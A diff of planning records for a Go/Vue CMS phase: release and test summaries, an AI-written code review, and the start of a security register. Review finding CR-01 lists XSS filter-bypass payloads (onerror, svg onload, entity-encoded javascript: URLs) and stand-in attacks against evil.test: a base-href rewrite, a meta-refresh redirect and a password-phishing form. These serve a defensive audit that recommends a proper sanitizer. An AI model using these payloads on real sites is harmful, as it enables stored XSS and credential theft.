- The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
- The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
- No rollback was recommended or performed. A checkpoint was returned.
- **Second human reply, verbatim:** "resaved, no errors".
- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
- **This executor's re-check (20:35 UTC):**
- SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
- Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
## Files Created/Modified
- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
## Decisions Made
- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
- **Found during:** Task 3
- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
- **Files modified:** none. Only the verification command changed.
- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
- **Committed in:** n/a (verification only)
---
**Total deviations:** 1 auto-fixed (1 bug in a verify command)
**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
## Issues Encountered
- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
## User Setup Required
None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
## Next Phase Readiness
- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
---
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
*Completed: 2026-10-09*
## Self-Check: PASSED
- Tag v0.1.16 is on origin and contains 06d75cb.
- sm-journal-plugin a675f2f equals origin/main.
- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
- The sha256 is the same locally and on the server, and both programs are RUNNING.
- The SQL check prints 0:1 and the log check passes.

View File

@@ -0,0 +1,256 @@
---
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
plan: 03
subsystem: testing
tags: [vitest, localStorage, gorm, dryrun, postgres, testcontainers, goldmark, xss]
requires:
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
provides: "16.1-01 fixes (relation subqueries, default locale first, raw HTML in FormatHTML, list state) and the 16.1-02 release v0.1.16"
provides:
- "vitest coverage of the list to form to list round trip (back, cancel, save-and-close, delete), listState.ts helpers, ListView entry logic and logout clearing"
- "TestListRelationSQL: DryRun SQL matrix of the relation subquery builder for every relation type, the refusals and bound search values"
- "TestEnabledLocalesDefaultFirst: every default-locale ordering case"
- "Strict FormatHTML refuse cases and imported-HTML keep cases in sm-journal-plugin"
- "Postgres tests TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML, ready for a Docker host"
- "16.1-VALIDATION.md filled: every automated row green, wave_0_complete and nyquist_compliant true"
affects: [16.2 blog editor, next summercms tag, /msd-verify-work 16.1]
actuals:
tokens: 13669 # chars/4 over the realized test diffs of both repos (summercms.go admin+modules, sm-journal-plugin)
tasks: 3
commits: 3 # summercms.go, measured from the ledger before the SUMMARY commit; sm-journal-plugin adds 1 (03907ee)
plan_head_before: 3b8527b39739a34eaee540d1ec0458966146a91c
plan_head_after: 837e40ae6aac05cf060b5c4fbd8872ca5d96e847
tech-stack:
added: []
patterns:
- "bindRecorder: a GORM logger implementing ParamsFilter records statements with placeholders and bound values, so a DryRun test proves a value is bound, not inlined"
- "withoutSubqueries strips (SELECT ...) groups so a test can tell an outer JOIN from one inside an EXISTS"
- "relModelController + relOneColumn: one generic controller and a one-relation columns.yaml per DryRun case, so the relation under test is always cabana_r0"
key-files:
created:
- admin/tests/state/listState.test.ts
modified:
- admin/tests/form/FormView.test.ts
- admin/tests/list/ListView.test.ts
- admin/tests/state/useAuth.test.ts
- modules/cabana/query_relation_test.go
- modules/cabana/locale_order_test.go
- ../sm-journal-plugin/classes/format_html_test.go
- ../sm-journal-plugin/posts_admin_smoke_test.go
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
key-decisions:
- "FormatHTML refuse cases now require an error and an empty result for every unsafe input; the old 'or rendered harmless' escape hatch is gone because html.WithUnsafe leaves the gate as the only defence"
- "nyquist_compliant is true because every automated row is green; the Docker-host suites and UAT checks stay as manual rows, and two unrun-verify entries were added to WINDOWS.md"
patterns-established:
- "Bound-value proof for cabana SQL: openBindDryRunDB in query_relation_test.go"
requirements-completed: [D-01, D-02, D-03]
coverage:
- id: D1
description: "A form's back, cancel, save-and-close and delete land on the list with the stored query in the URL, and every list request after the return carries it"
requirement: D-01
verification:
- kind: unit
ref: "admin/tests/form/FormView.test.ts#returning to the list keeps its query (D-01)"
status: pass
human_judgment: false
- id: D2
description: "listState helpers (prefix key, malformed values removed, empty query stores nothing, throwing storage), ListView entry logic (URL wins, cleared controls, same-list navigation, 422, page clamp) and logout clearing list keys but not the sidebar"
requirement: D-01
verification:
- kind: unit
ref: "admin/tests/state/listState.test.ts"
status: pass
- kind: unit
ref: "admin/tests/list/ListView.test.ts#list state entry logic (D-01)"
status: pass
- kind: unit
ref: "admin/tests/state/useAuth.test.ts#logout (T-10-23) removes every stored list query"
status: pass
human_judgment: false
- id: D3
description: "Relation subquery SQL: belongsToMany through the tagged pivot (custom joinForeignKey/joinReferences, self-reference), hasMany, hasOne, belongsTo, soft delete, 422 refusals, bound LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates, string_agg and join sorts"
requirement: D-02
verification:
- kind: unit
ref: "modules/cabana/query_relation_test.go#TestListRelationSQL"
status: pass
human_judgment: false
- id: D4
description: "enabledContentLocales ordering: default moved first, already first, absent, empty, DefaultLocale or EnabledLocales error, no writer, three locales keep their order"
requirement: D-03
verification:
- kind: unit
ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirst"
status: pass
human_judgment: false
- id: D5
description: "FormatHTML keeps imported HTML unchanged and refuses every unsafe case with an error"
requirement: D-03
verification:
- kind: unit
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
status: pass
- kind: unit
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
status: pass
human_judgment: false
- id: D6
description: "Postgres-backed tests: relation search counts a post matching through two tags once, sorts by tag names, finds a hasMany note; an admin re-save of HTML content keeps content_html"
requirement: D-02
verification:
- kind: integration
ref: "modules/cabana/query_relation_test.go#TestListRelationSearchPostgres"
status: unknown
- kind: integration
ref: "../sm-journal-plugin/posts_admin_smoke_test.go#TestPostsAdminResaveKeepsHTML"
status: unknown
human_judgment: true
rationale: "Needs Docker (testcontainers); this machine has no Docker socket permission. Both tests vet clean and fail (not skip) here with 'failed to create Docker provider'. Run on a Docker host before /msd-verify-work."
duration: 12min
completed: 2026-10-09
status: complete
---
# Phase 16.1 Plan 03: Unit tests Summary
**The Phase 16.1 fixes are now covered by tests that run without Docker:**
- vitest pins the list to form to list round trip and the browser-storage list state.
- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
- Table tests pin the default-locale order.
- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
Two Postgres tests are written for a Docker host.
## Performance
- **Duration:** 12 min
- **Started:** 2026-10-09T20:38:52Z
- **Completed:** 2026-10-09T20:51:32Z
- **Tasks:** 3 of 3
- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
## Accomplishments
- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
- Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
- **D-01, listState.ts (23 tests).**
- Keys are the prefix plus the controller id, one key per list.
- Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
- An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
- `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
- Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
- **D-01, ListView entry.**
- With a stored query, no list request goes out without the stored params.
- Every list param in the URL wins and replaces the whole stored query.
- Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
- `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
- A 422 removes the key.
- A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
- **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
- **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
- **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
- **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
- **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
- **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
- **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
- **D-02, TestListRelationSearchPostgres.**
- A post with two tags matching "fungi" gives total 1.
- `sort=tags` gives [2 1] ascending and [1 2] descending.
- `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
- **D-03, FormatHTML.**
- **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
- **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
- `check_html_test.go` is unchanged and green.
- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
## Task Commits
summercms.go (master, not pushed; ships with the next tag):
1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
sm-journal-plugin (main, not pushed):
3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
## Gate output
- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
- Quick suite latency: 20 s.
## Docker-host result
**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
## Files Created/Modified
- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
- `modules/cabana/query_relation_test.go`:
- Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
- `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
- `newFilteredListService`; `newDryRunListService` now delegates to it.
- `TestListRelationSQL` and `TestListRelationSearchPostgres`.
- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
## Decisions Made
- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
## Deviations from Plan
None. The plan executed as written. Small additions within scope:
- hasOne search and sort cases.
- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
- `newFilteredListService`, needed for the scope-filter case.
## Issues Encountered
- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
## User Setup Required
None. No external service configuration is required.
## Next Phase Readiness
- Phase 16.1 has every plan summarized. Next steps:
- Run the Docker-host suites, which are pending.
- Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.
---
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
*Completed: 2026-10-09*
## Self-Check: PASSED
Created and modified test files exist; commits a8bce9c, 837922c, 837e40a (summercms.go) and 03907ee (sm-journal-plugin) are present.

View File

@@ -0,0 +1,168 @@
---
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
reviewed: 2026-10-09T21:20:45Z
depth: standard
files_reviewed: 22
files_reviewed_list:
- admin/src/state/listState.ts
- admin/src/state/useAuth.ts
- admin/src/state/useSidebar.ts
- admin/src/views/ListView.vue
- admin/tests/form/FormView.test.ts
- admin/tests/list/ListView.test.ts
- admin/tests/smoke/list.smoke.test.ts
- admin/tests/state/listState.test.ts
- admin/tests/state/useAuth.test.ts
- docs/backend/forms.md
- docs/backend/lists-and-filters.md
- modules/cabana/README.md
- modules/cabana/http.go
- modules/cabana/locale_order_test.go
- modules/cabana/query.go
- modules/cabana/query_relation_test.go
- scripts/check-phase10.sh
- ../sm-journal-plugin/README.md
- ../sm-journal-plugin/classes/format_html.go
- ../sm-journal-plugin/classes/format_html_test.go
- ../sm-journal-plugin/go.mod
- ../sm-journal-plugin/posts_admin_smoke_test.go
findings:
critical: 1
warning: 5
info: 3
total: 9
status: issues_found
---
# Phase 16.1: Code Review Report
**Reviewed:** 2026-10-09T21:20:45Z
**Depth:** standard
**Files Reviewed:** 22
**Status:** issues_found
## Narrative Findings (AI reviewer)
## Summary
I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
## Critical Issues
### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
|---|---|---|
| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
| `<a href="javascript&#58;alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
| `<a href="javascript&colon;alert(1)">x</a>` | same | Named entity. |
| `<a href="&#106;avascript:alert(1)">x</a>` | same | Entity inside the scheme. |
| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
| `<div>\n<math><maction actiontype=statusline xlink:href="javascript&#58;alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
```go
var postPolicy = func() *bluemonday.Policy {
p := bluemonday.UGCPolicy() // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
p.AllowAttrs("class").Globally() // keep imported class attributes (D-03 round-trip)
p.AllowElements("footer", "figure", "figcaption")
return p
}()
func FormatHTML(src string) (string, error) {
var buf bytes.Buffer
if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
return "", fmt.Errorf("journal: markdown: %w", err)
}
return postPolicy.Sanitize(buf.String()), nil
}
```
If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
## Warnings
### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
**File:** `../sm-journal-plugin/classes/format_html.go:27`
**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
**Issue:**
1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
```ts
let restored = false
// in the watch, when restoring:
restored = true
void router.replace({ path: route.path, query: toListQuery(stored) })
// in loadList, after the generation check:
if (!result.data && (restored || result.response?.status === 422)) {
restored = false
writeListState(controllerId, {})
void router.replace({ path: route.path, query: {} })
return
}
restored = false
```
Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
### WR-03: Stored list queries survive session expiry and are not scoped to an admin
**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
## Info
### IN-01: NULL placement for relation sorts differs from Winter
**File:** `modules/cabana/query.go:318-332`
**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
### IN-02: Relation search and sort validity is checked per request, not at compile time
**File:** `modules/cabana/query.go:372-389,483-490`
**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
### IN-03: Two sources of truth for the main table name
**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.
---
_Reviewed: 2026-10-09T21:20:45Z_
_Reviewer: Claude (msd-code-reviewer)_
_Depth: standard_

View File

@@ -0,0 +1,82 @@
---
phase: "16.1"
slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
status: draft
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
asvs_level: 1
created: "2026-10-10"
---
# Phase 16.1 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
